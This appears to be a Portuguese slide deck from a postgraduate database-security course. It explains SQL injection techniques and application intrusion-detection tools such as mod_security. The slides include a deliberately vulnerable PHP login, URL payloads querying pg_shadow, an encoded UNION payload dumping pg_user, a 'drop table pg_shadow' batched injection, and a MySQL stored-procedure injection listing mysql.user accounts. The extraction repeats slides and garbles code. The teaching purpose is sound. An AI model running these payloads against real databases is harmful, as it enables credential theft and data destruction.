Segurança de Aplicações e Banco de Dados
Gestão de Segurança da Informação
pós-graduação Lato Sensu
Segurança de Banco de Dados
( SQL Injection, APBIDS, Modelagem )
Patrick Tracanelli Francisco Temponi
SABD
SQL INJECTION
Definição segundo a OWASP (Open Web Application
Security Project), ISC^2 e Sans Security:
“SQL injection attacks are a
type
of
injection
attack
, in which
SQL
commands
are injected into
data-plane
input
in order to affect the execution of
predefined SQL commands”
Portando a definição deixa claro:
SABD
SQL INJECTION
SABD
SQL INJECTION
SQL Injection se aplica apenas à ambiente Web?
Não. Os target mais comuns em
ordem de exploração, são:
Ambiente Web
Stored Procedures
Functions
SABD
SQL INJECTION
SQL Injection se aplica apenas à ambiente Web?
Não. Os target mais comuns em
ordem de exploração, são:
Ambiente Web
Stored Procedures
Functions
As técnicas de exploração de
Injeção SQL são 3:
Logical/Boolean-based blind
UNION query
Batched queries
SABD
SQL INJECTION
LOGICAL / BOOLEAN-BASED BLIND
- Técnica de ataque “cego” baseado em lógica.
- É o tipo mais comum.
- Também conhecido como
or 1=1
(e similares, tamanha
simplicidade)
SABD
SQL INJECTION
LOGICAL / BOOLEAN-BASED BLIND
- Técnica de ataque “cego” baseado em lógica.
- É o tipo mais comum.
- Também conhecido como
or 1=1
(e similares, tamanha
simplicidade)
SABD
SQL INJECTION
LOGICAL / BOOLEAN-BASED BLIND
Consideremos o seguinte trecho de código (php):<? php $u = $_P O S T['us ua rio']; $p = $_P O S T['s enha ']; $s ql = “S E L E C T * FR O M us ua rios W H E R E c odig o = '$u' A N D s enha = '$p'”; ? >
SABD
SQL INJECTION
LOGICAL / BOOLEAN-BASED BLIND
Consideremos o seguinte trecho de código (php):<? php $u = $_P O S T['us ua rio']; $p = $_P O S T['s enha ']; $s ql = “S E L E C T * FR O M us ua rios W H E R E c odig o = '$u' A N D s enha = '$p'”; ? > Na Web:
SABD
SQL INJECTION
LOGICAL / BOOLEAN-BASED BLIND
Consideremos o seguinte trecho de código (php):<? php $u = $_P O S T['us ua rio']; $p = $_P O S T['s enha ']; $s ql = “S E L E C T * FR O M us ua rios W H E R E us erna m e = '$u' A N D s enha = '$p'”; ? > Na Web:
SABD
SQL INJECTION
LOGICAL / BOOLEAN-BASED BLIND
Como identificar se uma aplicação, web site, procedure ou o que for, está vulnerável ao tipo de ataque número 1?
Passo 1: A aplicação retorna erro de sintaxe no banco ao manipular a
string de entrada artificialmente?
Se sim, a probabilidade dele não validar o input é enorme. Passo 2: A aplicação sabe fazer matemática?
Exemplo: index.aspx?notid=2 e index.aspx?notid=1+1 retornam o mesmo conteúdo?
Passo 3: A aplicação sabe lógica?
SABD
SQL INJECTION
LOGICAL / BOOLEAN-BASED BLIND
Como identificar se uma aplicação, web site, procedure ou o que for, está vulnerável ao tipo de ataque número 1?
Passo 3: A aplicação sabe lógica?
Exemplo: index.aspx?notid=2+or+(+1=1+)
Se a resposta for SIM: INFORMATION LEAK
Se SIM: A aplicação executará tudo que receber na entrada.
A mais básica vulnerabilidade SQL Injection (e também uma das mais perigosas). Para obter a informação que você precisa, basta fazer a query correta (se o usuário do banco tiver acesso a ela).
SABD
SQL INJECTION
UNION QUERY
SABD
SQL INJECTION
UNION QUERY
UNION QUERY: O input não validado executando outras queries.
SELECT CCNum,CCType,CCExp,CCName FROM CreditCards WHERE (AccNum=11223344 AND CardState='Active') AND
UserName='Luiz Inacio Silva'
SELECT CCNum,CCType,CCExp,CCName FROM CreditCards WHERE (AccNum=11223344) UNION SELECT
CCNum,CCType,CCExp,CCName WHERE 1=1 (AND CardState='Active') AND UserName='Luiz Inacio Silva'
SABD
SQL INJECTION
UNION QUERY
UNION QUERY: O input não validado executando outras queries.
index.aspx?id=111+or+(+
(+select+usesysid+from+pg_shadow+limit+1+offset+1)+=+0+)
Não dá certo?
index.aspx?id=111+UNION+(+
SABD
SQL INJECTION
UNION QUERY
UNION QUERY: O input não validado executando outras queries.
index.aspx?id=111+or+(+
(+select+usesysid+from+pg_shadow+limit+1+offset+1)+=+0+)
Não dá certo?
index.aspx?id=111+UNION+(+
(+select+usesysid+from+pg_shadow+limit+1+offset+1)+)
Problema com o número de colunas ao unir as queries?
SABD
SQL INJECTION
UNION QUERY
UNION INJECTION mais avançado:
UNION ALL SELECT NULL, CHR(83)||CHR(114)||CHR(108)||CHR(71)|| CHR(86)||CHR(116)||COALESCE(CAST(usename AS CHARACTER(10000)), CHR(32))||CHR(104)||CHR(100)||CHR(122)|| CHR(81)||CHR(121)||CHR(90)|| COALESCE(CAST(usecreatedb AS CHARACTER(10000)), CHR(32))||CHR(104)|| CHR(100)||CHR(122)||CHR(81)||CHR(121)|| CHR(90)||COALESCE(CAST(usesuper AS CHARACTER(10000)), CHR(32))||CHR(104)|| CHR(100)||CHR(122)||CHR(81)||CHR(121)|| CHR(90)||COALESCE(CAST(usecatupd AS CHARACTER(10000)), CHR(32))||CHR(75)|| CHR(121)||CHR(80)||CHR(65)||CHR(68)|| CHR(102), NULL FROM pg_user
SABD
SQL INJECTION
SABD
SQL INJECTION
SABD
SQL INJECTION
BATCHED QUERIES
O irmão mais velho do Bobby Tables, John'); DROP current();
conseguiu uma namorada, a Ana, de sobre-mome ; drop table pg_shadow;
SABD
SQL INJECTION
STORED PROCEDURES / FUNÇÕES
O problema não é exclusivamente Web:Procedure criada com usuário test no MySQL:
CREATE PROCEDURE sp_test (input varchar(100))
begin
SET @id = input;
SET @sql_text = concat(’SELECT text FROM
test_tbl where id=’,@id);
PREPARE stmt FROM @sql_text; EXECUTE stmt;
DEALLOCATE PREPARE stmt;
SABD
SQL INJECTION
STORED PROCEDURES / FUNÇÕES
O problema não é exclusivamente Web:Procedure criada com usuário root do MySQL:
CREATE PROCEDURE sp_root (input varchar(100))
begin
SET @id = input;
SET @sql_text = concat(’SELECT text FROM
test_tbl where id=’,@id);
PREPARE stmt FROM @sql_text; EXECUTE stmt;
DEALLOCATE PREPARE stmt;
SABD
SQL INJECTION
STORED PROCEDURES / FUNÇÕES
mysql> select user();
+—————-+ |user()| +—————-+
| test@localhost | +—————-+
1 row in set (0.00 sec)
mysql> select user from mysql.user;
ERROR 1142 (42000): SELECT command denied to user ‘test’@'localhost’ for table ‘user’
mysql> call sp_test(’1 union all select concat(user,password) from mysql.user’);
ERROR 1142 (42000): SELECT command denied to user ‘test’@'localhost’ for table ‘user’
SABD
SQL INJECTION
STORED PROCEDURES / FUNÇÕES
mysql> call sp_root(’-1 union all select user from mysql.user’); +———————————————————–+ | text | +———————————————————–+ | mysql | | root | | test | | bsd-sys-dba | | root |
5 rows in set (0.00 sec)
SABD
SQL INJECTION
STORED PROCEDURES / FUNÇÕES
mysql> call sp_root(’-1 union all select user from mysql.user’); +———————————————————–+ | text | +———————————————————–+ | mysql | | root | | test | | bsd-sys-dba | | root |
5 rows in set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
SABD
SQL INJECTION
STORED PROCEDURES / FUNÇÕES
mysql> call sp_root(’-1 union all select user from mysql.user’); +———————————————————–+ | text | +———————————————————–+ | mysql | | root | | test | | bsd-sys-dba | | root |
5 rows in set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
Os problemas aqui são 2:
SABD
SQL INJECTION
STORED PROCEDURES / FUNÇÕES
mysql> call sp_root(’-1 union all select user from mysql.user’); +———————————————————–+ | text | +———————————————————–+ | mysql | | root | | test | | bsd-sys-dba | | root |
5 rows in set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
Os problemas aqui são 2:
1) SQL Injection, técnica 2 – UNION – que você já reconhece; 2) Entendimento da aplicação.
SABD
SQL INJECTION
STORED PROCEDURES / FUNÇÕES
mysql> call sp_root(’-1 union all select user from mysql.user’); +———————————————————–+ | text | +———————————————————–+ | mysql | | root | | test | | bsd-sys-dba | | root |
5 rows in set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
Os problemas aqui são 2:
1) SQL Injection, técnica 2 – UNION – que você já reconhece; 2) Entendimento da aplicação.
- Stored Procedure e Function tem poder de quem as cria, não de quem as executa, no MySQL. E no Oracle? E no MS-SQL? E no PostgreSQL?
SABD
SQL INJECTION
STORED PROCEDURES / FUNÇÕES
mysql> call sp_root(’-1 union all select user from mysql.user’); +———————————————————–+ | text | +———————————————————–+ | mysql | | root | | test | | bsd-sys-dba | | root |
5 rows in set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
Os problemas aqui são 2:
1) SQL Injection, técnica 2 – UNION – que você já reconhece; 2) Entendimento da aplicação.
- Stored Procedure e Function tem poder de quem as cria, não de quem as executa, no MySQL. E no Oracle? E no MS-SQL? E no PostgreSQL?
- Você conhecer o Invoker Security? Ou Invoker Rights no (Oracle)? O que o recurso faz?
SABD
SQL INJECTION
STORED PROCEDURES / FUNÇÕES
mysql> call sp_root(’-1 union all select user from mysql.user’); +———————————————————–+ | text | +———————————————————–+ | mysql | | root | | test | | bsd-sys-dba | | root |
5 rows in set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
Portanto do que vale criptografar
Stored Procedures e afins?
SABD
SQL INJECTION
FERRAMENTAS
Varredura semi-automatizada de SQL Injection, ferramenta de
Penetration Tests que eu sugiro:
SABD
APPLICATION BASED
INTRUSION DETECTION SYSTEM
(APBIDS)
O que é um APBIDS?
Quais os Tipos?
Tal qual NIDS, HIDS, APBIDS se dividem em 2 tipos: - Baseados em Taxonomia
- Passivo, Reativo, Preventivo - Cognitivos
SABD
APPLICATION BASED
INTRUSION DETECTION SYSTEM
(APBIDS)
O que é um APBIDS?
Quais os Tipos?
Tal qual NIDS, HIDS, APBIDS se dividem em 2 tipos: - Baseados em Taxonomia
- Passivo, Reativo, Preventivo - Cognitivos
- Passivo, Reativo, Preventivo
Quais Existem?
- Apache Web Server: mod_security (tomcat, apache, jboss, mono, ...)
SABD
APPLICATION BASED
INTRUSION DETECTION SYSTEM
(APBIDS)
O que é um APBIDS?
Quais os Tipos?
Tal qual NIDS, HIDS, APBIDS se dividem em 2 tipos: - Baseados em Taxonomia
- Passivo, Reativo, Preventivo - Cognitivos
- Passivo, Reativo, Preventivo Quais Existem?
- Apache Web Server: mod_security (tomcat, apache,
jboss, mono, ...) Microsoft IIS:- IIS-Guard
SABD
mod_security
O que é o mod_security?
Um APBIDS baseado em Assinatura Taxonômica, para Apache Web Server e suítes afins (TomCat, Jacarta, etc).
SABD
mod_security
Em um ambiente multi-camadas...
Exemplo abaixo ilustra o mod_security como solução de
segurança server-side para home banking, especificamente do Blue
SABD
mod_security
Como funciona?
SABD
IIS-Ensafe
O que é?
SABD
IIS-Ensafe
O que é?
Criado pela FreeBSD Brasil LTDA (pela FreeBSD BR??) - Apache Core + mod_proxy + mod_security
- 80% das funcionalidades originais do mod_security
- Faz uso da JWSCL API para implementar outros 11% das funcionalidades (mod_rewrite reescrito para o IIS com a JWCSL);